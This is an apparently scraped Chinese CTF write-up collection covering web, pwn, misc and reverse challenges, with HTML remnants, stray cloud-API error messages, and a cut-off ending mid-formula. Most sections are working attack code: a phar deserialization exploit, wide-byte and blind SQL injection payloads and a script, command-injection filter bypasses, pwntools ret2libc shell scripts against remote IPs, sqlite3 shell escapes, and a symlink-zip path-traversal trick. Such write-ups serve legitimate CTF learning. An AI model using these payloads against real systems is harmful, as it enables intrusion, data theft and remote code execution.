一、WEB
1.web_BaliYun
进去之后一个文件上传，而且只能上传图片。访问www.zip拿到源码
网站源码：
index.php:
include(“class.php”);
if(isset($_GET[‘img_name’])){
$down = new check_img(); # here
echo $down->img_check();
}
if(isset($_FILES[“file”][“name”])){
$up = new upload();
echo $up->start();
}
?>
class.php:
class upload{
public $filename;
public $ext;
public $size;
public $Valid_ext;
public function __construct (){
$this->filename = $_FILES[“file”][“name”];
$this->ext = end(explode(“.”, $_FILES[“file”][“name”]));
$this->size = $_FILES[“file”][“size”] / 1024;
$this->Valid_ext = array(“gif”, “jpeg”, “jpg”, “png”);
}
public function start (){
return $this->check();
}
private function check (){
if(file_exists($this->filename)){
return “Image already exsists”;
}elseif(!in_array($this->ext, $this->Valid_ext)){
return “Only Image Can Be Uploaded”;
}else{
return $this->move();
}
}
private function move (){
move_uploaded_file($_FILES[“file”][“tmp_name”], “upload/”.$this->filename);
return “Upload succsess!”;
}
public function __wakeup (){
echo file_get_contents($this->filename); # here 2
}
}
class check_img{
public $img_name;
public function __construct (){
$this->img_name = $_GET[‘img_name’]; # here
}
public function img_check (){
if(file_exists($this->img_name)){ # here 1
return “Image exsists”;
}else{
return “Image not exsists”;
}
}
}
很明显得phar反序列化,上传再phar包含即可，代码也给定了上传目录为upload，文件名未变。
更多有关phar反序列化可参考
php反序列化拓展攻击详解–phar: https://xz.aliyun.com/t/6699
Phar与Stream Wrapper造成PHP RCE的深入挖掘: https://xz.aliyun.com/t/2958
test.php
class upload{
public $filename;
public function __construct (){
$this->filename = ‘file:///flag’;
}
}
$phar = new Phar(‘Tao.phar’);
$phar -> stopBuffering();
$phar -> setStub(‘GIF89a’.’ ‘);
$phar -> addFromString(‘test.txt’,’test’);
$payload = new upload();
$phar -> setMetadata($payload);
$phar -> stopBuffering();
php –define phar.readonly=0 test.php
mv Tao.phar Tao.gif
类里面看到了可以出发phar的函数file_exists。以及可以读flag的函数。那么思路就很清晰了。直接上传一个Tao.gif，内容是upload类，属性filename为/flag。然后传参img_name为phar://upload/Tao.gif,去触发我们的phar包即可
上传Tao.gif,之后?img_name=phar://upload/Tao.gif即可get flag.
ouo@GOTA:~$ curl -vv http://39.107.82.169:27417/index.php?img_name=phar://upload/Tao.gif | grep "flag"<br>.........................................<br>> GET /index.php?img_name=phar://upload/Tao.gif HTTP/1.1<br>> Host: 39.107.82.169:27417<br>> User-Agent: curl/7.58.0<br>> Accept: */*<br>><br>< http 1.1 200 ok<br>< date: mon, 19 sep 2022 10:42:08 gmt<br>< server: apache 2.4.25 (debian)<br>< x-powered-by: php 5.6.40<br>< vary: accept-encoding<br>< content-length: 1925<br>< content-type: text html; charset="UTF-8<br"><<br>.........................................<br>                    flag{s8HJQg5ftEJ9Kcc65Mn55K9XjRRgYVQg}</ content-type: text></ content-length: 1925<br></ vary: accept-encoding<br></ x-powered-by: php></ server: apache></ date: mon, 19 sep 2022 10:42:08 gmt<br></ http>
2.easylogin
sql注入，burp抓包时发现gbk乱码，意识到是宽字节注入。
username=admin%df’&password=admin
报错：
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”admin�”’ at line 1
测试联合注入发现:
总是出现语法错误，排查后发现select和union等会被替换为空，比较简单利用双写绕过即可。
直接联合注入密码无法登陆，联想到常规站点开发密码会被md5，于是用md5去加密，由于无法用引号，选择16进制绕过。
建立虚拟表直接登录。后台逻辑是MD5比较。有类似原题 username=admin%df%27ununionion%0aseselectlect%0a66,66,0×3437626365356337346635383966343836376462643537653963613966383038#&password=aaa
3.web_letmeguess_1
题目提示弱口令，爆破得密码 admin123
GET /index.php?ip=127.0.0.1%0Als HTTP/1.1
Host: 39.107.75.148:19304
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://39.107.75.148:19304/index.php?ip=ip
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=r4mutkqgni200nfu6ar3qj3jp7; td_cookie=3097567335
Connection: close
<div>
<p>
# 读取源代码
<br>?ip=127.0.0.1%0Apaste%09index.php
</p>
<div><p>
Array
</p><br>(
<br><p>    [0] => <!--?php
</p--></p><br><p>    [1] => 
</p><br><p>    [2] => header('Content-type:text/html; charset=utf-8');
</p><br><p>    [3] => 
</p><br><p>    [4] => // 开启Session
</p><br><p>    [5] => 
</p><br><p>    [6] => session_start();
</p><br><p>    [7] => 
</p><br><p>    [8] => 
</p><br><p>    [9] => 
</p><br><p>    [10] => // 首先判断Cookie是否有记住了用户信息
</p><br><p>    [11] => 
</p><br><p>    [12] => if (isset($_COOKIE['username'])) {
</p><br><p>    [13] => 
</p><br><p>    [14] => # 若记住了用户信息,则直接传给Session
</p><br><p>    [15] => 
</p><br><p>    [16] => $_SESSION['username'] = $_COOKIE['username'];
</p><br><p>    [17] => 
</p><br><p>    [18] => $_SESSION['islogin'] = 1;
</p><br><p>    [19] => 
</p><br><p>    [20] => }
</p><br><p>    [21] => 
</p><br><p>    [22] => if (isset($_SESSION['islogin'])) {
</p><br><p>    [23] => 
</p><br><p>    [24] => // 若已经登录
</p><br><p>    [25] => 
</p><br><p>    [26] => 
</p><br><p>    [27] => $res = FALSE;
</p><br><p>    [28] => 
</p><br><p>    [29] => if (isset($_GET['ip']) && $_GET['ip']) {
</p><br><p>    [30] =>     $ip = $_GET['ip'];
</p><br><p>    [31] =>     $m = [];
</p><br><p>    [32] =>     if (!preg_match_all("/(\||&|;| |\/|cat|flag|touch|more|curl|scp|kylin|echo|tmp|var|run|find|grep|-||'|:|<|>|less|more)/", $ip, $m)) {
<!--|--></p><br><p> [33] => $cmd = "ping -c 4{$ip}";
</p><br><p> [34] => exec($cmd, $res);
</p><br><p> [35] => } else {
</p><br><p> [36] => $res = 'Hacker,存在非法语句';
</p><br><p> [37] => }
</p><br><p> [38] => }
</p><br><p> [39] =>
</p><br><p> [40] =>
</p><br><p> [41] => } else {
</p><br><p> [42] =>
</p><br><p> [43] => // 若没有登录
</p><br><p> [44] =>
</p><br><p> [45] => echo "您还没有登录,请<a href='login.html'>登录";
</a href='login.html'></p><br><p> [46] =>
</p><br><p> [47] => }
</p><br><p> [48] =>
</p><br><p> [49] => ?>
</p>
<div>
<p>正则拦截如下：</p>
<pre>if (!preg_match_all("/(\||&|;| |\/|cat|flag|touch|more|curl|scp|kylin|echo|tmp|var|run|find|grep|-||'|:|<|>|less|more)/", $ip, $m)) <!--|--></pre>
<pre><p>在当前目录中发现<code>kylin</code>，过滤也发现<code>kylin</code>，猜测flag在此目录下，但是由于<code>/</code>给拦截了，尝试进入目录后进行文件读取，但题目过滤了<code>kylin</code>,利用linux系统得特性，正则查看目录文件</p><pre># 读取kylin目录<br>?ip=127.0.0.1%0Als%09ky???<br><br>#输出：<br><pre><br>Array<br>(<br>    [0] => flag.txt<br>)<br></pre><br></pre><pre>#final payload<br>?ip=127.0.0.1%0Acd%09ky???%0apaste%09fl* # %09 => '    '(tab),其实${IFS}也可以<br>?ip=127.0.0.1%0Acd%09ky???%0apaste${IFS}fl*<br>?ip=127.0.0.1%0Aca""t${IFS}$(fi""nd${IFS}.)</pre><pre>
</pre>
</pre>
</div>
</div>
</div></code></pre>
4.web_Eeeeasy_SQL
源码：
直接利用16进制字符比较，用case when一个个正则出来。利用binary来区分大小写。 脚本直接注
import requests<br>proxy={"http":"127.0.0.1:8080"}<br>result="0x"<br>k=0<br>for j in range(100):<br>    for i in range(33,126):<br>        k=hex(i)<br>        k=k[2:]<br>        result += k<br>        password = "or(case\x09when\x09(binary\x09username>"+result+")\x09then\x091\x09else\x099223372036854775807+1\x09end)#"<br>        data = {"username": "aa\\", "password": password}<br>        re = requests.post(data=data, url=url,proxies=proxy, allow_redirects=False)<br>        # sleep(0.1)<br>        print(re.status_code)<br>        if "msg" not in re.text:<br>            result = result[:-2]<br>            l=hex(i-1)<br>            l=l[2:]<br>            result +=l<br>            print(result)<br>            break<br>        else:<br>            result = result[:-2]
最后注出来 username=Flag_Account&password=G1ve_Y0u_@_K3y_70_937_f14g!!! 提交登录进去后，可以看到是一个简单的readfile。过滤/flag而已， 不能直接用/flag，简单用/proc/self/root/flag绕过
二、Pwn
1. H3ll0Rop
基础的ret2libc
from pwn import *<br><br>context.log_level='debug'<br>#p = process('./H3ll0Rop')<br>p = remote('47.93.30.67',52705)<br>elf = ELF('./H3ll0Rop')<br>libc = ELF('./libc-2.23.so')<br>pop_rdi = 0x0000000000400753<br>#vuln = 0x400647<br>vuln = 0x4006CC<br><br>#leak libc<br>payload = b'a'*(0x60+0x8)+p64(pop_rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(vuln)<br>p.sendlineafter(b'me???',payload)<br>libc_base = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - libc.sym['puts']<br>print('libc_base',hex(libc_base))<br>system = libc_base + libc.sym['system']<br>binsh = libc_base + next(libc.search(b'/bin/sh'))<br><br>#getshell<br>payload = b'a'*(0x60+0x8)+p64(pop_rdi)+p64(binsh)+p64(system)+p64(vuln)<br>p.sendlineafter(b'me???',payload)<br><br>p.interactive()<br>p.close()
2.5_1H3ll0Rop
context(os='linux',arch='amd64')
context.log_level=True
elf=ELF('H3ll0Rop')
libc=ELF('libc-2.23.so')
#p = process(["./ld-2.27.so", "./a"],env={"LD_PRELOAD":"./libc-2.27.so"})
#p=process('./H3ll0Rop',env={'LD_PRELOAD':'./libc-2.23.so'})
#p=process('./H3ll0Rop')
p=remote('47.94.151.201',51850)
p.recvuntil('game with me???\n\n')
payload='a'*0x68+p64(0x0000000000400753)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x4006CC)
p.sendline(payload)
p.recvuntil('an pwn it\n\n')
puts=u64(p.recv(6).ljust(8,'\x00'))
libcbase=puts-libc.sym['puts']
system=libcbase+libc.sym['system']
binsh=libcbase+next(libc.search('/bin/sh'))
print hex(libcbase)
p.recvuntil('game with me???\n\n')
payload='a'*0x68+p64(0x0000000000400753)+p64(binsh)+p64(system)
#gdb.attach(p)
raw_input()
p.sendline(payload)
p.interactive()三、Misc
1.简单的Base
题目给了一串密文666c61677b57656c636f6d655f686572657d, hex解码
>>> print('666c61677b57656c636f6d655f686572657d'.decode('hex'))<br>flag{Welcome_here}<code><br></code>2.5_Misc_m@sTeR_0f
题目给了源代码，如下：
import random<br>import string<br>import subprocess<br><br>WELCOME = '''<br>                     _______   _____     ___   __    _____       _      _ _______   <br>              ____  |__   __| |  __ \   / _ \ / _|  / ____|     | |    (_)__   __|  <br>  _ __ ___   / __ \ ___| | ___| |__) | | | | | |_  | (___   __ _| |     _   | | ___ <br> | '_ _ \ / / _ / __| |/ _ \  _  /  | | | |  _|  \___ \ / _` | |    | |  | |/ _ \<br> | | | | | | | (_| \__ \ |  __/ | \ \  | |_| | |    ____) | (_| | |____| |  | |  __/<br> |_| |_| |_|\ \__,_|___/_|\___|_|  \_\  \___/|_|   |_____/ \__, |______|_|  |_|\___|<br>             \____/                                           | |                   <br>                                                              |_|                   <br>'''<br><br>print(WELCOME)<br><br>def name_generator(size=6, chars=string.ascii_uppercase + string.digits):<br>    return ''.join(random.choice(chars) for _ in range(size))<br><br>tmp_dbpath = f'/tmp/{name_generator()}.db'<br><br>query_idea = input("Input your Query command --->> ")<br><br>black_list = ['.', 'lo', ';']<br><br>for y in black_list:<br>    if y in query_idea:<br>        print("Hacker! Banned...")<br>        exit()<br><br>sqlite3_process = subprocess.Popen(["sqlite3", tmp_dbpath, query_idea], stdout=subprocess.PIPE)<br>(output, error) = sqlite3_process.communicate()<br>#Show your output!<br>print(output.decode())[TencentCloudSDKException] code:FailedOperation.ServiceIsolate message:service is stopped due to arrears, please recharge your account in Tencent Cloud requestId:f17f5bc3-0aef-46c6-8cf4-aa02f234b760
[En]
[TencentCloudSDKException] code:FailedOperation.ServiceIsolate message:service is stopped due to arrears, please recharge your account in Tencent Cloud requestId:21a36e61-f23a-4a2d-9a13-5cddcd2fe3a9
sqlite3_process = subprocess.Popen(["sqlite3", tmp_dbpath, query_idea], stdout=subprocess.PIPE)<br>(output, error) = sqlite3_process.communicate()Command Injection，query_idea可控, 但题目过滤了['.', 'lo', ';']
查阅官方文档https://www.sqlite.org/cli.html，发现可命令执行
$sqlite3 Tao<br>Enter ".help" for usage hints.<br>sqlite> .shell whoami<br>root<br>sqlite> .system id<br>uid=0(root) gid=0(root) groups=0(root),141(kaboxer)但是发现题目只可执行一次命令，且过滤了.,但是由于query_idea可控，且通过官方文档，发现交互参数
-interactive         force interactive I/O # sqlite3 --help至此，我们的思路就是通过交互式，绕过python的过滤，达到命令执行
Input your Query command --->> -interactive # here<br>.shell ls / # here<br>.system cat /fl* # here<br>.quit<br>SQLite version 3.37.2 2022-01-06 13:25:41<br>Enter ".help" for usage hints.<br>sqlite> bin<br>boot<br>dev<br>etc<br>flag.txt<br>home<br>lib<br>lib32<br>lib64<br>libx32<br>media<br>mnt<br>opt<br>proc<br>root<br>run<br>sbin<br>srv<br>sys<br>tmp<br>usr<br>var<br>sqlite> flag{SCT7SK7PLPD343ZMXFWS8U7RQCHE2TUQ}sqlite><code><br></code>3.sakana_reveage
sakana_upload()函数中的文件名 sakana_file_name 完全可控，可以路径穿越在任意位置写文 件，所以可以输入../../../../../tmp/sakanas.zip.zip 写入带有指向/flag 符号链接的压缩包。虽然 限制了文件开头必须是 sakana，但是经过测试 unzip 命令是可以忽略开头的无关数据正常 解压的。
sakana_upload_sakanas()函数如果提前触发 base64 解码处的异常就可以直接到达解压压缩 包的代码。由于这里生成 xx.zip 过程中异常跳出，所以生成的不是合法 zip。这时， unzip 会 自动寻找指定位置的 xx.zip.zip 与 xx.zip.ZIP 并解压，于是上面目录穿越传入的压缩包就会被 解压并链接到 flag，接着选择下载获得 flag
还有就是base64解码后要有sakana字段
nc连接
# payload = base64 flag.zip<br>ln -s /flag soft_flag<br>zip --symlink flag.zip soft_flag<br>base64 flag.zippayload加入sakana字段后base64编码
输入1上传
然后选择4,然后随便输入一个字符串,需要触发sakana_upload函数的binascii.Error
最后输入2下载得到flag的base64加密字符串
base64解密得到flag
四、Reverse
1.5_re2
mips 64位 想qemu 模拟跑 ，发现没有so ，跑不起来。IDA 没法直接反编译。 Ghidra查看：
定义了 level。
核心是下面的 move 函数。
undefined8 move(void)<br><br>{<br>char cVar1;<br>int local_230;<br>int local_22c;<br>char local_228 [528];<br>undefined *local_18;<br><br>local_18 = &_mips_gp0_value;<br>local_22c = 0;<br>local_228[0] = '\0';<br>local_228[1] = 0;<br>memset(local_228 + 2,0,0x1fe);<br>printf("input: ");<br>__isoc99_scanf(&DAT_120001878,local_228);<br>while( true ) {<br> do {<br>   local_230 = 0;<br>   find();<br>   cVar1 = local_228[local_22c];<br>   if (cVar1 == 'w') {<br>     local_230 = Up();<br>   }<br>   else if (cVar1 < 'x') {<br>     if (cVar1 == 's') {<br>       local_230 = Down();<br>     }<br>     else if (cVar1 < 't') {<br>       if (cVar1 == 'd') {<br>         local_230 = Right();<br>       }<br>       else if (cVar1 < 'e') {<br>         if (cVar1 == '\x1b') {<br>           return 0xffffffffffffffff;<br>         }<br>         if (cVar1 == 'a') {<br>           local_230 = Left();<br>         }<br>       }<br>     }<br>   }<br>   local_22c = local_22c + 1;<br> } while (local_230 != 1);<br> if (level == 2) break;<br> level = level + 1;<br>}<br>puts("flag is ctf{md5(your input)}");<br>return 1;<br>}<br></ 'e') {<br></ 't') {<br></ 'x') {wasd 上下左右 ， flag格式定义。
find 函数中的定义 ，决定了 迷宫 一行多少值。
跟随 去找map map的定义。处理下，得到各个level的 map表。
其中第一level的 整理后的迷宫表：
1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, <br>1, 1, 0, 3, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, <br>1, 1, 0, 1, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, <br>1, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 0, 0, 0, 0, <br>1, 1, 0, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, <br>1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0,<br>1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0,<br>1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0,<br>1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 1, 0, <br>1, 1, 0, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, <br>1, 1, 0, 1, 1, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, <br>1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, <br>1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 根据find中的 if判断 因此走的路径为 dddddssdsdddsssaassssddds 以此类推 整理后面两个level的 迷宫表
1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, <br>1, 1, 1, 1, 1, 0, 3, 1, 1, 1, 0, 0, 0, 0, 0, <br>1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, <br>1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, <br>1, 1, 1, 1, 1, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, <br>1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, <br>1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, <br>1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 0, <br>1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, <br>1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, <br>1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, <br>1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, <br>1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, <br>1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, <br>1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, <br>0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, <br><br>0, 3, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, <br>0, 0, 0, 1, 0, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, <br>0, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, <br>0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, <br>0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, <br>0, 0, 1, 1, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, <br>0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, <br>0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, 0, 0, 0, <br>0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, <br>0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, <br>0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, <br>0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 0, <br>0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, <br>0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 4, 0, 走的路径分别为 dddsssdddsssdss ddssddwddssssssdddssssdddss 合并起来 走的路径为 dddddssdsdddsssaassssdddsdddsssdddsssdssddssddwddssssssdddssssdddss 因此 得到 flag f77feb47f7ff4f9e6e94f297b18652e0
2.5_crackme
初步分析<br>binwalk -Me rootfs.img<br>有用的文件:<br>/bin/crackme<br>/etc/config<br>config1E 00 00 00 02 00 00 00 09 00 00 00 40 E3 FF FFD0 E4 FF FF C4 E6 FF FF 78 E2 FF FF 74 EB FF FF1C E9 FF FF 08 E4 FF FF 48 EA FF FF 68 ED FF FFint __fastcall chal_main(int argc, const char **argv){const char *v3; // r0int v4; // r0int v5; // r5int v6; // r0int v7; // r9int v8; // r10int *v9; // r1int v10; // r7int v11; // r5int v12; // r0int *v13; // r1int v14; // r0int v15; // r0bool v16; // zfint v18[16]; // [sp+4h] [bp-74h] BYREFv3 = (const char *)v18;if ( argc >= 2 )v3 = argv[1];if ( argc < 2 )v3 = "/etc/config";v4 = open(v3, 0, 0);if ( v4 >= 1 ){v5 = v4;read(v4, config, 256);close(v5);}v6 = dword_712C[0]++;v7 = v18[config[v6]]; // 应该是取出 return_addresssub_3154(1, (int)"2", 0, (int)"a", 0);sub_3154(2, (int)"3", 0, (int)"a", 0);sub_33F8(1);sub_33F8(2);sub_3154(0, (int)"0", 28, (int)"a", 0);sub_3154(6, (int)">> ", 64, (int)asc_659, 0);sub_3154(7, (int)"<< ", 64, (int)"[!!]\n", 1);sub_3154(8, (int)"<< ", 64, (int)"[ok]\n", 1);sub_336C(6);v8 = -1;v9 = &config[dword_712C[0]];v10 = *v9;dword_712C[0] += 2;v11 = v9[1];while ( ++v8 < v11 ){v12 = dword_712C[0]++;strcpy((char *)v18, "bbbbbbbbbbbbbbbb");v13 = &v18[6];v18[6] = config[v12] + v7;BYTE1(v18[4]) = 0;HIWORD(v18[4]) = 0;v18[5] = 16;if ( unk_7130 ){strcpy(unk_7130, "0");v14 = *(_DWORD *)(unk_7130 + 16);if ( *(int *)(unk_7130 + 20) > 27|| (free(v14), v14 = malloc(28), v13 = (int *)unk_7130, (*(_DWORD *)(unk_7130 +16) = v14) != 0) ){memcpy(v14, v18, 28);}}v15 = dword_712C[v10 + 1];v16 = v15 == 0;if ( v15 ){v13 = (int *)unk_7148;v16 = unk_7148 == 0;}if ( !v16 ){*(_DWORD *)(v15 + 16) = v13[4];*(_DWORD *)(v15 + 20) = v13[5];}if ( !sub_32E8(v10) )return sub_336C(7);}return sub_336C(8);}修正 config 里的偏移 转换成对应的函数地址off = 0xFFFFED68-0x4644for i in range(9):x = ida_bytes.get_dword(0x0c+i*4)ida_bytes.patch_dword(0x0c+i*4, x-off)seg000:00000000 dd 30seg000:00000004 dd 2seg000:00000008 dd 9seg000:0000000C ; int[9]seg000:0000000C dd 3C1Chseg000:00000010 dd 3DAChseg000:00000014 dd 3FA0hseg000:00000018 dd 3B54hseg000:0000001C dd 4450hseg000:00000020 dd 41F8hseg000:00000024 dd 3CE4hseg000:00000028 dd 4324hseg000:0000002C dd 4644hint __fastcall sub_3C1C(char *a1, int a2){int i; // r3for ( i = 0; i < a2; ++i )a1[i] = sbox_list[25][(unsigned __int8)a1[i]];return 1;}int __cdecl sub_4644(unsigned __int8 *flag){int v2; // r6int v3; // r9int v4; // r10int v5; // r0int v7; // [sp+4h] [bp-6Ch]int v8; // [sp+8h] [bp-68h]int v9; // [sp+Ch] [bp-64h]int v10; // [sp+10h] [bp-60h]int v11; // [sp+14h] [bp-5Ch]int v12; // [sp+18h] [bp-58h]int v13; // [sp+1Ch] [bp-54h]int v14; // [sp+20h] [bp-50h]int v15; // [sp+24h] [bp-4Ch]int v16; // [sp+28h] [bp-48h]int v17; // [sp+2Ch] [bp-44h]int v18; // [sp+30h] [bp-40h]int v19; // [sp+34h] [bp-3Ch]int v20; // [sp+38h] [bp-38h]int v21; // [sp+3Ch] [bp-34h]int v22; // [sp+40h] [bp-30h]int v23; // [sp+44h] [bp-2Ch]int v24; // [sp+48h] [bp-28h]int v25; // [sp+4Ch] [bp-24h]v25 = abs(159947 * *flag - 17274276);v24 = abs(4294891102 * flag[1] - 288728 * *flag + 36973368);v23 = abs(-247146 * flag[1] - 291401 * *flag - 166371 * flag[2] + 75709167);v22 = abs(-1741 * flag[1] + 218084 * flag[3] + 280814 * *flag - 149372 * flag[2] -33947928);v21 = abs(174323 * flag[3] + 136024 * flag[2] - 141923 * flag[1] - 301049 * flag[4] +323059 * *flag - 53238195);v20 = abs(-12269 * flag[3]+ 286713 * flag[1]- 78320 * *flag+ 301362 * flag[2]+ 269836 * flag[5]- 255324 * flag[4]- 99312448);v19 = abs(-103798 * flag[2]+ 201146 * flag[5]- 285406 * flag[3]- 188094 * flag[4]- 104025 * *flag- 50098 * flag[1]- 109789 * flag[6]+ 50727897);v18 = abs(117443 * flag[7]+ 275692 * flag[3]+ 349275 * flag[1]- 381943 * flag[2]+ 332376 * flag[4]- 269146 * flag[5]+ 222994 * flag[6]- 267344 * *flag+ 9817748);v17 = abs(19156 * flag[6]+ -281586 * flag[7]- 168850 * *flag+ 363716 * flag[3]- 32886 * flag[1]+ 44299 * flag[4]+ 170590 * flag[8]+ 81061 * flag[5]+ 201865 * flag[2]- 32987442);v16 = abs(22459 * flag[6]+ -80349 * flag[1]+ 239015 * flag[5]- 42367 * flag[9]- 113712 * flag[7]- 146568 * flag[2]+ 241696 * flag[3]+ 232212 * *flag- 162511 * flag[8]+ 61621 * flag[4]- 41031017);v15 = abs(-1754 * *flag+ 128062 * flag[7]- 329492 * flag[3]- 167316 * flag[2]- 178991 * flag[4]+ 186377 * flag[10]+ 307270 * flag[6]- 328477 * flag[8]+ 248665 * flag[1]+ 374863 * flag[9]+ 373711 * flag[5]- 86829517);v14 = abs(11843 * flag[5]+ 17087 * flag[3]- 35818 * *flag- 182330 * flag[7]- 354816 * flag[4]- 126036 * flag[2]+ 114656 * flag[8]- 90442 * flag[9]+ 330888 * flag[11]+ 78226 * flag[10]- 260641 * flag[1]+ 105414 * flag[6]+ 63250156);v13 = abs(7469 * flag[9]+ 6283 * flag[11]+ -87345 * flag[2]+ 248111 * flag[5]+ 213581 * flag[4]+ 89194 * flag[8]+ 36305 * flag[6]+ 98667 * flag[1]+ 300755 * flag[12]+ 191415 * flag[7]+ 350540 * *flag+ 359565 * flag[10]- 185365 * flag[3]- 165783260);v12 = abs(8209 * flag[8]+ 131781 * flag[1]+ 152898 * *flag+ 40158 * flag[11]- 86271 * flag[12]- 105755 * flag[6]+ 264037 * flag[3]- 130948 * flag[10]- 243572 * flag[7]- 48159 * flag[2]- 269443 * flag[9]- 376534 * flag[5]- 67954 * flag[4]- 119669 * flag[13]+ 117580744);v11 = abs(-3429 * flag[6]+ 102230 * flag[5]+ 126967 * flag[10]- 344174 * flag[8]- 225911 * flag[11]+ 118364 * flag[14]- 72044 * flag[1]+ 280519 * *flag- 241789 * flag[2]- 274918 * flag[9]- 91055 * flag[12]- 122403 * flag[3]+ 118907 * flag[7]- 34240 * flag[13]+ 240524 * flag[4]+ 35507568);v10 = abs(-24137 * flag[9]+ 28203 * flag[13]+ 150213 * flag[1]+ 311204 * *flag- 94750 * flag[7]+ 130029 * flag[2]- 305057 * flag[14]+ 176246 * flag[5]- 256662 * flag[8]- 331010 * flag[12]- 301118 * flag[4]- 309379 * flag[10]+ 187867 * flag[3]- 102250 * flag[11]- 340412 * flag[15]+ 144084 * flag[6]+ 39635710);v9 = abs(-27445 * flag[12]+ -289483 * flag[10]- 164045 * flag[16]- 218276 * flag[1]+ 183266 * flag[3]- 311967 * flag[8]- 55127 * flag[14]- 211824 * flag[13]- 375628 * flag[9]- 201931 * *flag- 324618 * flag[4]+ 52026 * flag[6]+ 93926 * flag[5]- 105199 * flag[7]- 254102 * flag[15]- 159881 * flag[11]+ 378091 * flag[2]+ 106013500);v2 = flag[3];v8 = abs(27619 * flag[4]+ 9873 * flag[1]+ -23276 * flag[8]+ -196254 * flag[9]+ 181235 * *flag+ 150865 * flag[16]- 148807 * flag[14]- 272020 * flag[17]- 346803 * flag[2]- (v2 | (v2 << 16))+ 132879 * flag[10]+ 239833 * flag[6]- 151023 * flag[11]+ 224631 * flag[12]+ 294607 * flag[5]- 362447 * flag[7]- 110250 * flag[15]+ 153229 * flag[13]+ 56953741);v7 = abs(-1159 * flag[1]+ 6659 * flag[6]+ -25875 * flag[7]+ 80743 * flag[10]+ 38124 * flag[9]+ 40844 * flag[13]- 259165 * flag[12]+ 340584 * flag[16]+ 107346 * flag[2]- 124400 * flag[8]- 34846 * flag[11]a- 338119 * flag[17]- 220860 * flag[5]+ 167374 * flag[3]+ 71134 * flag[15]- 143594 * flag[14]- 115172 * flag[4]- 104789 * *flag+ 108066 * flag[18]+ 50659353);v3 = abs(-26438 * flag[19]+ 14055 * flag[10]+ 31477 * flag[12]+ -179950 * flag[4]+ 79775 * flag[17]+ 70516 * flag[5]+ 330549 * flag[2]+ 169852 * flag[11]+ 51486 * flag[7]+ 123944 * flag[13]- 370154 * flag[14]- 132851 * flag[18]+ 237187 * flag[3]- 89341 * flag[9]- 256083 * flag[1]+ 317327 * *flag+ 42009 * flag[15]+ 336122 * flag[6]+ 128554 * flag[8]- 205903 * flag[16]- 112255597);v4 = abs(30250 * flag[5]+ 127076 * flag[16]- 218938 * *flag+ 162996 * flag[14]+ 141792 * flag[12]- 197967 * flag[9]- 247332 * flag[4]- 286218 * flag[7]- 168508 * flag[18]+ 300020 * flag[2]- 46255 * flag[10]- 78960 * flag[19]+ 213181 * flag[6]- 329333 * flag[13]+ 126938 * flag[8]- 266759 * flag[11]+ 182266 * flag[17]- 41677 * flag[1]+ 